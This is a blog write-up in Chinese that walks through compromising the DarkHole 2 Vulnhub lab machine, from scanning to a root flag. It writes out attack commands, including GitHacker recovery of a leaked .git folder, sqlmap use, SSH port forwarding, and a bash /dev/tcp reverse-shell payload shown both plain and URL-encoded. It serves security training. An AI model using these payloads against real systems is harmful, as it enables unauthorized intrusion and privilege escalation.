天天看點

Vulnhub實戰-Dockhole_2靶機👻

靶機位址:https://www.vulnhub.com/entry/darkhole-2,740/

Vulnhub實戰-Dockhole_2靶機👻

hint:讓我們不要浪費時間在蠻力上面!

主機發現

在kali上面掃描本地網段,發現主機IP192.168.33.88

<code>nmap -sn 192.168.33.0/24</code>

Vulnhub實戰-Dockhole_2靶機👻

端口掃描

在kali中輸入以下指令

<code>nmap -sS -p- -v 192.168.33.88</code>

Vulnhub實戰-Dockhole_2靶機👻

我們發現開啟了22,80端口,說明開啟了ssh跟web服務,還記得提示嘛,讓我們不要用蠻力噢。所有這裡我不打算暴力破解ssh賬号密碼,直接看看web服務有什麼線索吧。

通路ip192.168.33.88,得到如下頁面:

分析頁面有什麼功能點,發現存在一個login頁面如下:

檢視頁面源代碼也沒有發現什麼有用的資訊,試試目錄掃描吧。

目錄掃描

打開kali進入dirsearch進行目錄掃描

<code>python3 dirsearch.py -u 'http://192.168.33.88' -i 200</code>

Vulnhub實戰-Dockhole_2靶機👻

我們看到一堆git目錄,說明存在git源碼洩露,但是除了我們知道的index.php,login.php之外還出現了一個dashboard.php這個目錄,我們打開看看發現不允許通路,應該做了權限驗證。所有先從git源碼洩露下手吧。

Vulnhub實戰-Dockhole_2靶機👻

git源碼下載下傳

從上面我們看到這個頁面存在git源碼洩露,頁面如下:

Vulnhub實戰-Dockhole_2靶機👻

方法一:我們利用Githacker這個工具,将它下載下傳到本地看看。(這裡提示一下,網上很多部落格說的是用Githack這個工具,但是這個工具我試了,并沒有把代碼完整的克隆下來,Githack隻是恢複源碼的最新版本,而Githacker可以将開發者的送出曆史一起克隆下來并在本地重建。)

具體差別可以參考如下:https://blog.csdn.net/qq_37450949/article/details/117821102

方法二:我們也可以用<code>wget -r</code>這個指令遞歸下載下傳源碼下來重建,也可以下載下傳完全。

指令如下:

<code>wget -r http://192.168.33.88/.git/</code>

接下來在kali中輸入指令下載下傳代碼到本地:

<code>githacker --url http://192.168.33.88/.git/ --folder output</code>

意思是把源碼下載下傳到目前目錄output檔案夾

Vulnhub實戰-Dockhole_2靶機👻

然後我們可以檢視login.php的源碼,可以看到登陸處的代碼邏輯

Vulnhub實戰-Dockhole_2靶機👻

接下來我們看看 git 曆史日志,發現存在修改記錄,第二個那裡作者添加了預設憑據

<code>git log</code>

Vulnhub實戰-Dockhole_2靶機👻

我們切換過去看看<code>git checkout a4d900a8d85e89</code>

Vulnhub實戰-Dockhole_2靶機👻

切換曆史版本之後我們再次打開login.php發現了預設的使用者名密碼

Vulnhub實戰-Dockhole_2靶機👻

拿上使用者名密碼登入之後看到如下頁面:

Vulnhub實戰-Dockhole_2靶機👻

sql注入

我們檢視了一下源碼,發現沒什麼可利用的,最後在url處發現有個id,我們猜測這裡存在SQL注入,這裡比較懶,就不用手工注入了,直接上sqlmap跑一下。

我們可以看到資料庫"dockhole_2",表有兩個"ssh,users",看了一下users表,發現沒有什麼重要資訊,在ssh表裡面發現了一個賬号密碼,我們可以拿來連接配接ssh。

Vulnhub實戰-Dockhole_2靶機👻

拿到使用者名密碼之後我們登入ssh:

Vulnhub實戰-Dockhole_2靶機👻

進來之後我們看看是否存在具有suid權限的檔案,發現不存在具有suid權限的檔案。

<code>find / -perm -u=s -type f 2&gt;/dev/null</code>

Vulnhub實戰-Dockhole_2靶機👻

我們再看看是否具有root權限能執行的指令,發現也沒有😭

<code>sudo -l</code>

Vulnhub實戰-Dockhole_2靶機👻

完了,沒路了。不會走了。看看其他大佬部落格他們接下來是去檢視linux的定時任務檔案

<code>cat /etc/crontab</code>

Vulnhub實戰-Dockhole_2靶機👻

發現有一個使用者losy開啟了本地的9999端口,至于php -s是開啟了一個網絡伺服器的意思。

Vulnhub實戰-Dockhole_2靶機👻

我們嘗試去通路9999端口,發現連接配接失敗,那麼我們就把靶機的9999端口轉發到本地來通路。👻

<code>ssh -L 9999:127.0.0.1:9999 [email protected]</code>

Vulnhub實戰-Dockhole_2靶機👻

然後我們在浏覽器通路127.0.0.1:9999就可以通路了,我們可以看到它是讓我們以GET的方式輸入一個cmd參數。噢對了,剛剛還有一個目錄我們看看裡面是什麼。裡面是一個一句話木馬,那就對上了。

Vulnhub實戰-Dockhole_2靶機👻
Vulnhub實戰-Dockhole_2靶機👻

接下來我們通過cmd參數反彈一個shell,kali監聽10086端口連接配接。

<code>nc -lnvp 10086</code>

Vulnhub實戰-Dockhole_2靶機👻

payload:<code>bash -c 'sh -i &gt;&amp; /dev/tcp/192.168.33.213/10086 0&gt;&amp;1'</code>

因為是通過GET方式執行paylaod,是以我們要先進行url編碼:

<code>%62%61%73%68%20%2d%63%20%27%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%33%33%2e%32%31%33%2f%31%30%30%38%36%20%30%3e%26%31%27</code>

發送請求之後我們就連上shell了,我們可以看到使用者是losy

Vulnhub實戰-Dockhole_2靶機👻

我們在losy的曆史指令中看到了設定的密碼:gang

Vulnhub實戰-Dockhole_2靶機👻

接着我們通過ssh連接配接上losy,看到losy能以root權限執行python3指令,是以我們自然就能想到反彈一個python3的反彈shell!😏

Vulnhub實戰-Dockhole_2靶機👻

我們的kali監聽10086,可以看到反彈shell已經連上了,看看權限是root權限,然後在/root檔案夾下面找到了root.txt,flag就在裡面!👻

Vulnhub實戰-Dockhole_2靶機👻

到這裡我們就結束了,成功提權到root權限了!通過幹vulnhub,一天一個提權小技巧!👍

Vulnhub實戰-Dockhole_2靶機👻

有什麼錯誤或者改進意見歡迎評論或發給我噢!大家一起共同學習!大佬多指教!!!!